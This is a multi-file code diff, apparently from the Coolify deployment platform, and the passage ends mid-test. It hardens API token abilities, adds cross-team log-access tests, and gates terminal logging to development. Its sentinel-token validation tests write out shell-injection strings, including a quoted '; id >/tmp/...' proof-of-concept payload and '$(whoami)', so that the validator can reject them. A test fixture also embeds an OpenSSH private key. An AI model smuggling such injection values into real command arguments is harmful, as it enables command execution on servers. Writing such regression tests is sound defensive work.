@ -483,10 +518,10 @@ export function initializeTerminalComponent() {
|
|||
clearTimeout(this.pingTimeoutId);
|
||||
this.pingTimeoutId = null;
|
||||
}
|
||||
console.log('[Terminal] Tab hidden, pausing heartbeat monitoring');
|
||||
logTerminal('log', '[Terminal] Tab hidden, pausing heartbeat monitoring');
|
||||
} else if (wasVisible === false) {
|
||||
// Tab is now visible again
|
||||
console.log('[Terminal] Tab visible, resuming connection management');
|
||||
logTerminal('log', '[Terminal] Tab visible, resuming connection management');
|
||||
|
||||
if (this.wasConnectedBeforeHidden && this.socket && this.socket.readyState === WebSocket.OPEN) {
|
||||
// Send immediate ping to verify connection is still alive
|
||||
|
|
@ -508,10 +543,10 @@ export function initializeTerminalComponent() {
|
|||
|
||||
this.pingTimeoutId = setTimeout(() => {
|
||||
this.heartbeatMissed++;
|
||||
console.warn(`[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`);
|
||||
logTerminal('warn', `[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`);
|
||||
|
||||
if (this.heartbeatMissed >= this.maxHeartbeatMisses) {
|
||||
console.error('[Terminal] Too many missed heartbeats, closing connection');
|
||||
logTerminal('error', '[Terminal] Too many missed heartbeats, closing connection');
|
||||
this.socket.close(1001, 'Heartbeat timeout');
|
||||
}
|
||||
}, this.pingTimeout);
|
||||
|
|
@ -553,7 +588,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
// Check if dimensions are valid
|
||||
if (height <= 0 || width <= 0) {
|
||||
console.warn('[Terminal] Invalid wrapper dimensions, retrying...', { height, width });
|
||||
logTerminal('warn', '[Terminal] Invalid wrapper dimensions, retrying...', { height, width });
|
||||
setTimeout(() => this.resizeTerminal(), 100);
|
||||
return;
|
||||
}
|
||||
|
|
@ -562,7 +597,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
if (!charSize.height || !charSize.width) {
|
||||
// Fallback values if char size not available yet
|
||||
console.warn('[Terminal] Character size not available, retrying...');
|
||||
logTerminal('warn', '[Terminal] Character size not available, retrying...');
|
||||
setTimeout(() => this.resizeTerminal(), 100);
|
||||
return;
|
||||
}
|
||||
|
|
@ -583,10 +618,10 @@ export function initializeTerminalComponent() {
|
|||
});
|
||||
}
|
||||
} else {
|
||||
console.warn('[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize });
|
||||
logTerminal('warn', '[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize });
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('[Terminal] Resize error:', error);
|
||||
logTerminal('error', '[Terminal] Resize error:', error);
|
||||
}
|
||||
},
|
||||
|
||||
|
|
|
|||
|
|
@ -94,7 +94,7 @@
|
|||
}
|
||||
if (this.dispatchAction) {
|
||||
$wire.dispatch(this.submitAction);
|
||||
return true;
|
||||
return Promise.resolve(true);
|
||||
}
|
||||
|
||||
const methodName = this.submitAction.split('(')[0];
|
||||
|
|
|
|||
|
|
@ -21,7 +21,8 @@
|
|||
<div>No containers are running or terminal access is disabled on this server.</div>
|
||||
@else
|
||||
<form class="w-96 min-w-fit flex gap-2 items-end" wire:submit="$dispatchSelf('connectToContainer')"
|
||||
x-data="{ autoConnected: false }" x-init="if ({{ count($containers) }} === 1 && !autoConnected) {
|
||||
x-data="{ autoConnected: false }"
|
||||
x-on:terminal-websocket-ready.window="if ({{ count($containers) }} === 1 && !autoConnected) {
|
||||
autoConnected = true;
|
||||
$nextTick(() => $wire.dispatchSelf('connectToContainer'));
|
||||
}">
|
||||
|
|
|
|||
|
|
@ -139,7 +139,7 @@
|
|||
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1.5">Due now</div>
|
||||
<div class="flex justify-between gap-6 text-sm font-bold">
|
||||
<span class="dark:text-white">Prorated charge</span>
|
||||
<span class="dark:text-warning" x-text="fmt(preview.due_now)"></span>
|
||||
<span class="dark:text-warning" x-text="fmt(preview?.due_now)"></span>
|
||||
</div>
|
||||
<p class="text-xs text-neutral-500 pt-1">Charged immediately to your payment method.</p>
|
||||
</div>
|
||||
|
|
@ -147,8 +147,8 @@
|
|||
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1.5">Next billing cycle</div>
|
||||
<div class="space-y-1.5">
|
||||
<div class="flex justify-between gap-6 text-sm">
|
||||
<span class="text-neutral-500" x-text="preview.quantity + ' servers × ' + fmt(preview.unit_price)"></span>
|
||||
<span class="dark:text-white" x-text="fmt(preview.recurring_subtotal)"></span>
|
||||
<span class="text-neutral-500" x-text="preview?.quantity + ' servers × ' + fmt(preview?.unit_price)"></span>
|
||||
<span class="dark:text-white" x-text="fmt(preview?.recurring_subtotal)"></span>
|
||||
</div>
|
||||
<div class="flex justify-between gap-6 text-sm" x-show="preview?.tax_description" x-cloak>
|
||||
<span class="text-neutral-500" x-text="preview?.tax_description"></span>
|
||||
|
|
@ -156,7 +156,7 @@
|
|||
</div>
|
||||
<div class="flex justify-between gap-6 text-sm font-bold pt-1.5 border-t dark:border-coolgray-400 border-neutral-200">
|
||||
<span class="dark:text-white">Total / month</span>
|
||||
<span class="dark:text-white" x-text="fmt(preview.recurring_total)"></span>
|
||||
<span class="dark:text-white" x-text="fmt(preview?.recurring_total)"></span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -71,7 +71,7 @@ Route::group([
|
|||
Route::get('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'show'])->middleware(['api.ability:read']);
|
||||
Route::patch('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'update'])->middleware(['api.ability:write']);
|
||||
Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:write']);
|
||||
Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:read']);
|
||||
Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::match(['get', 'post'], '/deploy', [DeployController::class, 'deploy'])->middleware(['api.ability:deploy']);
|
||||
Route::get('/deployments', [DeployController::class, 'deployments'])->middleware(['api.ability:read']);
|
||||
|
|
@ -84,7 +84,7 @@ Route::group([
|
|||
Route::get('/servers/{uuid}/domains', [ServersController::class, 'domains_by_server'])->middleware(['api.ability:read']);
|
||||
Route::get('/servers/{uuid}/resources', [ServersController::class, 'resources_by_server'])->middleware(['api.ability:read']);
|
||||
|
||||
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']);
|
||||
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']);
|
||||
Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']);
|
||||
|
|
|
|||
|
|
@ -168,9 +168,23 @@ Route::middleware(['auth', 'verified'])->group(function () {
|
|||
Route::post('/terminal/auth/ips', function () {
|
||||
if (auth()->check()) {
|
||||
$team = auth()->user()->currentTeam();
|
||||
$ipAddresses = $team->servers->where('settings.is_terminal_enabled', true)->pluck('ip')->toArray();
|
||||
$ipAddresses = $team->servers
|
||||
->where('settings.is_terminal_enabled', true)
|
||||
->pluck('ip')
|
||||
->filter()
|
||||
->values();
|
||||
|
||||
return response()->json(['ipAddresses' => $ipAddresses], 200);
|
||||
if (isDev()) {
|
||||
$ipAddresses = $ipAddresses->merge([
|
||||
'coolify-testing-host',
|
||||
'host.docker.internal',
|
||||
'localhost',
|
||||
'127.0.0.1',
|
||||
base_ip(),
|
||||
])->filter()->unique()->values();
|
||||
}
|
||||
|
||||
return response()->json(['ipAddresses' => $ipAddresses->all()], 200);
|
||||
}
|
||||
|
||||
return response()->json(['ipAddresses' => []], 401);
|
||||
|
|
|
|||
|
|
@ -7,7 +7,7 @@
|
|||
|
||||
services:
|
||||
n8n:
|
||||
image: n8nio/n8n:2.10.2
|
||||
image: n8nio/n8n:2.10.4
|
||||
environment:
|
||||
- SERVICE_URL_N8N_5678
|
||||
- N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
|
||||
|
|
@ -54,7 +54,7 @@ services:
|
|||
retries: 10
|
||||
|
||||
n8n-worker:
|
||||
image: n8nio/n8n:2.10.2
|
||||
image: n8nio/n8n:2.10.4
|
||||
command: worker
|
||||
environment:
|
||||
- GENERIC_TIMEZONE=${GENERIC_TIMEZONE:-UTC}
|
||||
|
|
@ -122,7 +122,7 @@ services:
|
|||
retries: 10
|
||||
|
||||
task-runners:
|
||||
image: n8nio/runners:2.10.2
|
||||
image: n8nio/runners:2.10.4
|
||||
environment:
|
||||
- N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n-worker:5679}
|
||||
- N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N
|
||||
|
|
|
|||
|
|
@ -73,3 +73,28 @@ describe('POST /api/v1/servers', function () {
|
|||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
|
||||
describe('GET /api/v1/servers/{uuid}/validate', function () {
|
||||
test('read-only token cannot trigger server validation', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
])->getJson('/api/v1/servers/fake-uuid/validate');
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/cloud-tokens/{uuid}/validate', function () {
|
||||
test('read-only token cannot validate cloud provider token', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/cloud-tokens/fake-uuid/validate');
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
|
|
|
|||
97
tests/Feature/CrossTeamIdorLogsTest.php
Normal file
97
tests/Feature/CrossTeamIdorLogsTest.php
Normal file
|
|
@ -0,0 +1,97 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
|
||||
beforeEach(function () {
|
||||
// Attacker: Team A
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
// Victim: Team B
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
$this->victimApplication = Application::factory()->create([
|
||||
'environment_id' => $this->environmentB->id,
|
||||
'destination_id' => $this->destinationB->id,
|
||||
'destination_type' => $this->destinationB->getMorphClass(),
|
||||
]);
|
||||
|
||||
$this->victimService = Service::factory()->create([
|
||||
'environment_id' => $this->environmentB->id,
|
||||
'destination_id' => $this->destinationB->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
// Act as attacker
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
test('cannot access logs of application from another team', function () {
|
||||
$response = $this->get(route('project.application.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'application_uuid' => $this->victimApplication->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('cannot access logs of service from another team', function () {
|
||||
$response = $this->get(route('project.service.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'service_uuid' => $this->victimService->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('can access logs of own application', function () {
|
||||
$ownApplication = Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => $this->destinationA->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->get(route('project.application.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'application_uuid' => $ownApplication->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(200);
|
||||
});
|
||||
|
||||
test('can access logs of own service', function () {
|
||||
$ownService = Service::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
$response = $this->get(route('project.service.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'service_uuid' => $ownService->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(200);
|
||||
});
|
||||
101
tests/Feature/PushServerUpdateJobLastOnlineTest.php
Normal file
101
tests/Feature/PushServerUpdateJobLastOnlineTest.php
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('database last_online_at is updated when status unchanged', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'status' => 'running:healthy',
|
||||
'last_online_at' => now()->subMinutes(5),
|
||||
]);
|
||||
|
||||
$server = $database->destination->server;
|
||||
|
||||
$data = [
|
||||
'containers' => [
|
||||
[
|
||||
'name' => $database->uuid,
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => [
|
||||
'coolify.managed' => 'true',
|
||||
'coolify.type' => 'database',
|
||||
'com.docker.compose.service' => $database->uuid,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$oldLastOnline = $database->last_online_at;
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
$database->refresh();
|
||||
|
||||
// last_online_at should be updated even though status didn't change
|
||||
expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue();
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
test('database status is updated when container status changes', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'status' => 'exited',
|
||||
]);
|
||||
|
||||
$server = $database->destination->server;
|
||||
|
||||
$data = [
|
||||
'containers' => [
|
||||
[
|
||||
'name' => $database->uuid,
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => [
|
||||
'coolify.managed' => 'true',
|
||||
'coolify.type' => 'database',
|
||||
'com.docker.compose.service' => $database->uuid,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
$database->refresh();
|
||||
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
test('database is not marked exited when containers list is empty', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'status' => 'running:healthy',
|
||||
]);
|
||||
|
||||
$server = $database->destination->server;
|
||||
|
||||
// Empty containers = Sentinel might have failed, should NOT mark as exited
|
||||
$data = [
|
||||
'containers' => [],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
$database->refresh();
|
||||
|
||||
// Status should remain running, NOT be set to exited
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
34
tests/Feature/RealtimeTerminalPackagingTest.php
Normal file
34
tests/Feature/RealtimeTerminalPackagingTest.php
Normal file
|
|
@ -0,0 +1,34 @@
|
|||
<?php
|
||||
|
||||
it('copies the realtime terminal utilities into the container image', function () {
|
||||
$dockerfile = file_get_contents(base_path('docker/coolify-realtime/Dockerfile'));
|
||||
|
||||
expect($dockerfile)->toContain('COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js');
|
||||
});
|
||||
|
||||
it('mounts the realtime terminal utilities in local development compose files', function (string $composeFile) {
|
||||
$composeContents = file_get_contents(base_path($composeFile));
|
||||
|
||||
expect($composeContents)->toContain('./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js');
|
||||
})->with([
|
||||
'default dev compose' => 'docker-compose.dev.yml',
|
||||
'maxio dev compose' => 'docker-compose-maxio.dev.yml',
|
||||
]);
|
||||
|
||||
it('keeps terminal browser logging restricted to Vite development mode', function () {
|
||||
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain('const terminalDebugEnabled = import.meta.env.DEV;')
|
||||
->toContain("logTerminal('log', '[Terminal] WebSocket connection established.');")
|
||||
->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');");
|
||||
});
|
||||
|
||||
it('keeps realtime terminal server logging restricted to development environments', function () {
|
||||
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
|
||||
|
||||
expect($terminalServer)
|
||||
->toContain("const terminalDebugEnabled = ['local', 'development'].includes(")
|
||||
->toContain('if (!terminalDebugEnabled) {')
|
||||
->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');");
|
||||
});
|
||||
95
tests/Feature/SentinelTokenValidationTest.php
Normal file
95
tests/Feature/SentinelTokenValidationTest.php
Normal file
|
|
@ -0,0 +1,95 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$user = User::factory()->create();
|
||||
$this->team = $user->teams()->first();
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
describe('ServerSetting::isValidSentinelToken', function () {
|
||||
it('accepts alphanumeric tokens', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc123'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts tokens with dots, hyphens, and underscores', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('my-token_v2.0'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts long base64-like encrypted tokens', function () {
|
||||
$token = 'eyJpdiI6IjRGN0V4YnRkZ1p0UXdBPT0iLCJ2YWx1ZSI6IjZqQT0iLCJtYWMiOiIxMjM0NTY3ODkwIn0';
|
||||
expect(ServerSetting::isValidSentinelToken($token))->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts tokens with base64 characters (+, /, =)', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc+def/ghi='))->toBeTrue();
|
||||
});
|
||||
|
||||
it('rejects tokens with double quotes', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc" ; id ; echo "'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with single quotes', function () {
|
||||
expect(ServerSetting::isValidSentinelToken("abc' ; id ; echo '"))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with semicolons', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc;id'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with backticks', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc`id`'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with dollar sign command substitution', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc$(whoami)'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with spaces', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc def'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with newlines', function () {
|
||||
expect(ServerSetting::isValidSentinelToken("abc\nid"))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with pipe operator', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc|id'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with ampersand', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc&&id'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with redirection operators', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc>/tmp/pwn'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects empty strings', function () {
|
||||
expect(ServerSetting::isValidSentinelToken(''))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects the reported PoC payload', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc" ; id >/tmp/coolify_poc_sentinel ; echo "'))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('generated sentinel tokens are valid', function () {
|
||||
it('generates tokens that pass format validation', function () {
|
||||
$settings = $this->server->settings;
|
||||
$settings->generateSentinelToken(save: false, ignoreEvent: true);
|
||||
$token = $settings->sentinel_token;
|
||||
|
||||
expect($token)->not->toBeEmpty();
|
||||
expect(ServerSetting::isValidSentinelToken($token))->toBeTrue();
|
||||
});
|
||||
});
|
||||
79
tests/Feature/SharedVariableDevViewTest.php
Normal file
79
tests/Feature/SharedVariableDevViewTest.php
Normal file
|
|
@ -0,0 +1,79 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\SharedEnvironmentVariable;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'admin']);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create([
|
||||
'project_id' => $this->project->id,
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
test('environment shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
|
||||
->set('variables', "MY_VAR=my_value\nANOTHER_VAR=another_value")
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->environment->environment_variables()->pluck('value', 'key')->toArray();
|
||||
expect($vars)->toHaveKey('MY_VAR')
|
||||
->and($vars['MY_VAR'])->toBe('my_value')
|
||||
->and($vars)->toHaveKey('ANOTHER_VAR')
|
||||
->and($vars['ANOTHER_VAR'])->toBe('another_value');
|
||||
});
|
||||
|
||||
test('project shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Project\Show::class)
|
||||
->set('variables', 'PROJ_VAR=proj_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->project->environment_variables()->pluck('value', 'key')->toArray();
|
||||
expect($vars)->toHaveKey('PROJ_VAR')
|
||||
->and($vars['PROJ_VAR'])->toBe('proj_value');
|
||||
});
|
||||
|
||||
test('team shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Team\Index::class)
|
||||
->set('variables', 'TEAM_VAR=team_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->team->environment_variables()->pluck('value', 'key')->toArray();
|
||||
expect($vars)->toHaveKey('TEAM_VAR')
|
||||
->and($vars['TEAM_VAR'])->toBe('team_value');
|
||||
});
|
||||
|
||||
test('environment shared variable dev view updates existing variable', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'EXISTING_VAR',
|
||||
'value' => 'old_value',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'project_id' => $this->project->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
|
||||
->set('variables', 'EXISTING_VAR=new_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$var = $this->environment->environment_variables()->where('key', 'EXISTING_VAR')->first();
|
||||
expect($var->value)->toBe('new_value');
|
||||
});
|
||||
51
tests/Feature/TerminalAuthIpsRouteTest.php
Normal file
51
tests/Feature/TerminalAuthIpsRouteTest.php
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
<?php
|
||||
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('app.env', 'local');
|
||||
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('includes development terminal host aliases for authenticated users', function () {
|
||||
Server::factory()->create([
|
||||
'name' => 'Localhost',
|
||||
'ip' => 'coolify-testing-host',
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
]);
|
||||
|
||||
$response = $this->postJson('/terminal/auth/ips');
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertJsonPath('ipAddresses.0', 'coolify-testing-host');
|
||||
|
||||
expect($response->json('ipAddresses'))
|
||||
->toContain('coolify-testing-host')
|
||||
->toContain('localhost')
|
||||
->toContain('127.0.0.1')
|
||||
->toContain('host.docker.internal');
|
||||
});
|
||||
|
|
@ -8,9 +8,7 @@ afterEach(function () {
|
|||
Mockery::close();
|
||||
});
|
||||
|
||||
it('categorizes images correctly into PR and regular images', function () {
|
||||
// Test the image categorization logic
|
||||
// Build images (*-build) are excluded from retention and handled by docker image prune
|
||||
it('categorizes images correctly into PR, build, and regular images', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
|
||||
['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
|
||||
|
|
@ -25,6 +23,11 @@ it('categorizes images correctly into PR and regular images', function () {
|
|||
expect($prImages)->toHaveCount(2);
|
||||
expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456');
|
||||
|
||||
// Build images (tags ending with '-build', excluding PR builds)
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
expect($buildImages)->toHaveCount(2);
|
||||
expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build');
|
||||
|
||||
// Regular images (neither PR nor build) - these are subject to retention policy
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
expect($regularImages)->toHaveCount(2);
|
||||
|
|
@ -340,3 +343,128 @@ it('protects current infrastructure images from any registry even when no applic
|
|||
// Other images should not be protected
|
||||
expect(preg_match($pattern, 'nginx:alpine'))->toBe(0);
|
||||
});
|
||||
|
||||
it('deletes build images not matching retained regular images', function () {
|
||||
// Simulates the Nixpacks scenario from issue #8765:
|
||||
// Many -build images accumulate because they were excluded from both cleanup paths
|
||||
